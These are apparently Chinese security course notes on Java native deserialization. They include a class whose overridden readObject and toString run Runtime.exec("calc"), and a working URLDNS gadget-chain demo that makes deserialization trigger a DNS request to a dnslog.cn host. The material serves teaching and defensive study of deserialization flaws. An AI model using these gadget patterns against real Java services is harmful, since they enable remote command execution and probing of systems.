第35天:安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

为什么需要序列化

序列化和反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化和反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景:

1
2
3
(1)想把内存中的对象保存到一个文件中或者是数据库当中。
(2)用套接字在网络上传输对象。
(3)通过 RMI 传输对象的时候。

简单理解序列化和反序列化

1
2
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转换成内存中的对象

几种创建的序列化和反序列化协议

1
2
3
4
5
6
7
8
java内置的writeObject() / readObject()
java内置的XMLDecoder() / XMLEncoder()

还有第三方的(这也就是为什么会有fastjson这样的漏洞)
Xstream
SnakeYaml
FastJson
Jackson

为什么会出现反序列化安全问题

1
2
3
4
5
6
7
8
9
内置原生写法分析
• 重写readObject方法
• 输出调用toString方法

反序列化利用链
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式

重写readObject方法 && 输出调用toString方法

UserDemo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example.seriatestdemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class UserDemo implements Serializable {

public String name="xiaodi";
public String gender="man";
public Integer age=30;


public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}

public String toString() {

try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}

//toString()需要外部显式或隐式调用(如打印对象、字符串拼接等)才会执行。两者的触发时机完全不同:
//readObject:反序列化过程中自动触发;
//toString():反序列化后,对象被使用时(如打印)触发。

return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';

}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确readObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
//这段代码的作用是:在反序列化当前类的对象时,先执行默认的反序列化操作,再额外执行一个系统命令(启动计算器)。


//readObject 是 Java 序列化机制中一个特殊的回调方法。当一个类实现 Serializable 接口时,如果定义了该方法,在对象被反序列化(从字节流恢复为对象)时,JVM 会自动调用这个方法,而不是使用默认的反序列化逻辑。

//private readObject这是 Java 规定的强制要求,readObject 必须是 private。如果改为 public 或其他修饰符,JVM 在反序列化时会忽略这个方法,转而使用默认反序列化逻辑。


}


SerializableDemo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个对象 引用UserDemo
UserDemo u = new UserDemo("xdsec","gay1",30);
//调用方法进行序列化
SerializableTest(u);
//ser.txt 就是对象u 序列化的字节流数据

}

public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
/*
FileOutputStream("ser.txt"):
创建文件输出流,用于向当前目录下的ser.txt文件写入字节数据。如果文件不存在,会自动创建;如果已存在,会覆盖原有内容。
可能抛出FileNotFoundException(但被方法声明的IOException包含,因为FileNotFoundException是IOException的子类)。

ObjectOutputStream(oos):
包装文件输出流,创建对象输出流。ObjectOutputStream是 Java 序列化的核心类,提供了writeObject方法,能将实现Serializable接口的对象转换为字节流。

oos.writeObject(obj);
这是触发序列化的关键方法,作用是将传入的UserDemo对象(obj)转换为字节流,并通过底层的FileOutputStream写入ser.txt文件。
*/
}

}

UnserializableDemo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.seriatestdemo;

import java.io.*;

public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传输ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");

//对obj对象进行输出 默认调用原始对象的toString方法
System.out.println(obj);
}


public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
/*
FileInputStream(Filename):
创建文件输入流,用于从指定文件(这里是 ser.txt)中读取字节数据。如果文件不存在,会抛出 FileNotFoundException(属于 IOException 的子类)。

ObjectInputStream(ois):
包装文件输入流,创建对象输入流。ObjectInputStream 是 Java 反序列化的核心类,提供了 readObject 方法,能将字节流恢复为实现 Serializable 接口的对象。

Object o = ois.readObject();
这是触发反序列化的关键方法,作用是从 ser.txt 的字节流中读取数据,恢复为原来的 UserDemo 对象。

*/

unserializabledemo执行流程:

  • 程序启动,执行 main 方法,调用 UnserializableTest(“ser.txt”)。
  • 创建 FileInputStream 读取 ser.txt,并通过 ObjectInputStream 包装。
  • 调用 readObject() 开始反序列化:
  • 若 UserDemo 有 readObject 方法,执行该方法(恢复成员变量 + 弹出计算器)。
  • 若无,则仅恢复成员变量值。
  • 反序列化完成,返回 UserDemo 对象 obj。
  • 执行 System.out.println(obj),调用 UserDemo 的 toString() 方法:
  • 若 toString() 中有 exec(“calc”),再次弹出计算器。

Java-安全问题-可控其他类重写方法

1.HashMap的利用(用于dns解析)

**原理:**正常代码中 创建对象HashMap

反序列化数据后,调用到原生态readObject方法
​ ObjectInputSteam这个类中有readObject()方法
​ HashMap也有readObject方法

反序列化后,调用readObject方法,结果调用的是调用 HashMap里面的readObject

POP链:
序列化对象hash 来源于自带类HashMap

  • Gadget Chain:
    • HashMap.readObject()
    • HashMap.putVal()
    • HashMap.hash()
    • URL.hashCode()

hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

UrLDns.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.example.seriatestdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//正常代码中 创建对象HashMap

//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法

//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

HashMap<URL,Integer> hash = new HashMap<>();
URL u=new URL("http://dmo1e2.dnslog.cn");
hash.put(u,1);

SerializableTest(hash);
UnserializableTest("dns.txt");

}


public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);

}

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}

image-20250804190542397

这里应该就是会有多条dns解析记录的。

image-20250804190703962

将这两行代码注释的时候,再次运行代码,dnslog就不会接受到请求了。

image-20250804190657440